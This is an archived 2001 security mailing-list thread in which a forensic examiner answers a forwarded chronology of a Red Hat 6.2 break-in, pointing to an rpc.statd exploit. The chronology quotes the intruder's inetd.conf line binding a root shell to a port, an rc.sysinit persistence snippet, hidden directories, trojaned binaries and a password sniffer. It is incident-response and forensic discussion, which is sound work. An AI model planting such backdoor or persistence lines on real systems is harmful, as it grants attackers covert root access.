Lisa, Not sure if this is the exact exploit they used but I just worked a case that had pretty much the same M.O. The exploit is rpc.statd. Check the log files and you should be able to see some erratic hex when the exploit is actually activated. In my case the miscreant created a user name cgi just after gaining root. They also installed a sniffer and got the email passwords of the victim. Even after the victim's isp pulled the plug because the intruder was using his box as a jump point, they used the email password to download the victims email for two days until the victim changed his passwords. Check out http://www.securityfocus.com/bid/1480. Hope that helps. Blake Edwards - CFCE President Digital Evidence, Inc. 719 Jadwin Ave. Ste 4 Richland, WA 99352 P: 509-943-7009 F: 509-943-2129 E-mail: blake@digital-evidence.com Web: www.digital-evidence.com -----Original Message----- From: Lisa Bogar [mailto:lbogarat_private] Sent: Wednesday, May 16, 2001 8:35 AM To: security-basicsat_private; forensicsat_private Subject: Red Hat compromise I received this message from a consultant in town on Friday. I work at the University and he was looking for some suggestions. Thought someone might be able to shed some light on how the person got into the box and also how one might monitor this compromise. I have already told him to reinstall. Thanks, Lisa Here is the chronology I was given. Lisa, Here is a long winded chronology of our little computer break in. Thank you for your help. Mack On Monday, May 7 at 1:30 AM my client's computer was broken into. Our system is a Red Hat Linux v6.2 kernel version 2.2.14-5.0. It was a fairly standard installation with HTTP, FTP, SMTP, IMAP, and NNTP, and other standard INET services. The system was placed behind a FlowPoint FP2200-22 SDSL router/firewall with NAT. The ports allowed through the router were 21 (FTP), 23 (Telnet), 25 (SMTP), 53 (DNS), 80 (HTTP), 110 (POP3) and 143 (IMAP). Internally, we use Samba for file and printer sharing. 1:28 AM The first indication of infiltration is the following line was appended to the file /etc/inetd.conf: 6550 stream tcp nowait root /bin/sh sh -i which provides a nice back door and indicates perpetrator had root access. 1:34 AM The /bin/.../psybnc directory was created and the psybnc program files (1.9MB) were downloaded. That directory name is three dots (...), which makes it a hidden directory. Psybnc is an internet chat program. 9:44AM The files /bin/trmzbsh and /usr/sbin/nscdx were added to the system. Trmzbsh is a bash shell and nscdx is a ssh (secure shell) daemon. In addition, the following was added to /etc/rc.d/rc.sysinit so that a secure shell access is maintained even on reboot (it has nothing to do with being a name server cache that I can find). # Name Server Cache Demon if [ -x /usr/sbin/nscdx ]; then /usr/sbin/nscdx -q fi I never did notice the nscdx process running. The ps, top, and the ls, and find commands were broken. I noticed them being broken right away, but I was coding....and thats hard for me....and I HATE interruptions....and I just put it on the list of curiosities to solve later when I had time (or became interested). I did become curious on how they broke those commands because the executables in /bin were not changed. I still do not know because I started restoring the system. I do know that they created the directory /usr/share/locale/su/.back and downloaded the following files into it: secure, messages, wtmp, netstat, ps, pstree, top, ls, find, du, dir, and vdir. That directory is now missing, probably because of my actions during reinstallation the next day. 11:02AM Not satisfied, they came back. The psybnc program was probably not working for they downloaded the Eggdrop IRC Bot ("the most advanced IRC robot available") into the /home/orders/.../eggdrop1.4.3 directory (7.2MB). But worse, they commandeered our TCP connection and started a log file /bin/tcp.log which saved the time, machine name, IP address, login name, password, and other codes for every login of every user to every other system they connected to (e.g. for email). It even caught su's to other local users over a telnet session. I actually noticed them that time too. I was working on the system with 5 or 6 telnet sessions open and I got angry when I lost a couple of them because they 'froze'. But because that happens off and on anyway, I have learned to sit on my hands and quietly curse our good friends providing DSL service. This time it was a clue that was ignored...I HATE interruptions.... Other indications of our compromised network was that the computer did not show up on the other PC's Network Neighborhood, and connections to the IMAP mail server daemon failed. To the best of my knowledge, they haven't been back. But how would I know? nscdx/trmzbsh combo was the last thing I broke. I assume they had access to 24hrs of TCP activity and passwords. The targeted computer is not quite into production, so although it is being used, it is not an active machine and I had the leisure of being able to take the time to investigate system changes. After moving and removing their changes, I changed the line in /etc/inetd.conf to: 65500 stream tcp nowait root /bin/su su guest -c /usr/local/bin/oursh which executes a little script that sends me a page and then executes: export PS1='bash# ' exec /bin/sh -i which displays a prompt like they had. So now I get paged when they come back. So what? What am I going to do? Shut down the machine? If they are smart they won't, for I am sure I gave them enough clues that I was stumbling on to them. I tried to set up a sandbox for them using chroot and a restricted shell, but I cannot get that to work. I did it 10 years ago, but I can't do it today (!!). Another Unix had a tee command that had a -u (unbuffered) option so that I could: tee -u /tmp/keymon | sh -i and get a log of the keystrokes they feed us. But I can't do that anymore. Progress....... I find myself getting much more irritated when a person is running amuck on my system than I do combating a virus/worm. I originally thought this was a worm, but the difference in time between compromising /etc/inetd.conf and downloading psybnc is too long for a program. They were efficient, though. They have done this before. I think it is more than one person. The two chat programs could mean one person try try trying again, but I think its a buddy saying "No No, use this one". Most of the literature on security is on how to protect yourself, how to build walls. That's fine, I can do that (ugh), but once they are over the wall, how can we find out who they are and where they are located? If I do leave a hole in the wall, how can I restrict them and monitor what they try to do? I would like to get a name and address so I could turn them in to the authorities, but I would settle for any kind of evidence that would be worthwhile reporting. Have any suggestions?
This archive was generated by hypermail 2b30 : Thu May 17 2001 - 09:30:28 PDT